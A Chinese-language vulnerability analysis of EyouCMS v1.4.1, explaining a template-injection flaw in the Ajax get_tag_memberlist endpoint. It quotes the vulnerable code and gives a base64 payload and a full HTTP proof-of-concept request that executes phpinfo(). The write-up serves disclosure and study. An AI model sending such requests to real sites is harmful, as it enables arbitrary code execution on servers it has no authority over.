0x001 EyouCMS 简介

EyouCMS是基于TP5.0框架为核心开发的免费+开源的企业内容管理系统,专注企业建站用户需求提供海量各行业模板,降低中小企业网站建设、网络营销成本,致力于打造用户舒适的建站体验。由于EyouCMS v1.4.1 版本对用户输入的过滤不足,导致攻击者可通过特定接口执行任意系统命令。

0x002 漏洞代码

漏洞代码文件位置:\EyouCMS\application\api\controller\Ajax.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
* 获取会员列表
* @author 小虎哥 by 2018-4-20
*/
public function get_tag_memberlist()
{
// https://gitee.com/weng_xianhu/eyoucms/issues/I15J1A
# $this->success('此代码有安全漏洞!');

if (IS_AJAX_POST) {
$htmlcode = input('post.htmlcode/s');
$htmlcode = htmlspecialchars_decode($htmlcode);

$attarray = input('post.attarray/s');
$attarray = htmlspecialchars_decode($attarray);
$attarray = json_decode(base64_decode($attarray));

/*拼接完整的memberlist标签语法*/
$innertext = "{eyou:memberlist";
foreach ($attarray as $key => $val) {
if (in_array($key, ['js'])) {
continue;
}
$innertext .= " {$key}='{$val}'";
}
$innertext .= " js='on'}";
$innertext .= $htmlcode;
$innertext .= "{/eyou:memberlist}";
/*--end*/
$msg = $this->display($innertext); // 渲染模板标签语法
$data['msg'] = $msg;

$this->success('读取成功!', null, $data);
}
$this->error('加载失败!');
}

0x003 漏洞分析

造成该漏洞的主要原因是以下这段代码的拼接操作,在接收POST参数时,只是简单的对POST参数进行base64加解密操作,并未对接收参数值进行安全过滤,直接将其拼接到源代码中,随后对代码对拼接后的语句进行模板渲染。

1
2
3
4
5
6
7
8
9
10
11
12
$attarray = input('post.attarray/s');
$attarray = htmlspecialchars_decode($attarray);
$attarray = json_decode(base64_decode($attarray));

$innertext = "{eyou:memberlist";
foreach ($attarray as $key => $val) {
if (in_array($key, ['js'])) {
continue;
}
$innertext .= " {$key}='{$val}'";
}
$innertext .= " js='on'}";

程序先将我们POST输入的attarray进行base64解密后与{eyou:memberlist进行拼接,最终形成类似这种形式:

1
{eyou:memberlist $key='$val' js='on'}

这里通过}来闭合前面的{eyou:memberlist达到任意代码执行的问题。因为解析的是json我们只需输入类似

1
{"}":"{php}phpinfo();{\/php}"}

将上诉利用代码进行base64编码后,即可达到任意代码执行的目的。

1
eyJ9Ijoie3BocH1waHBpbmZvKCk7e1wvcGhwfSJ9

0x004 漏洞触发

首先,分析确定该漏洞代码的触发条件:

1
if (IS_AJAX_POST) {

只要在数据包的HTTP Header中加入以下代码,即可触发漏洞条件。

1
X-Requested-With: XMLHttpRequest

POC:

1
2
3
4
5
6
7
8
9
10
11
12
POST /cms/EyouCMS/index.php?m=api&c=Ajax&a=get_tag_memberlist HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
X-Requested-With: XMLHttpRequest

attarray=eyJ9Ijoie3BocH1waHBpbmZvKCk7e1wvcGhwfSJ9

image

参考文章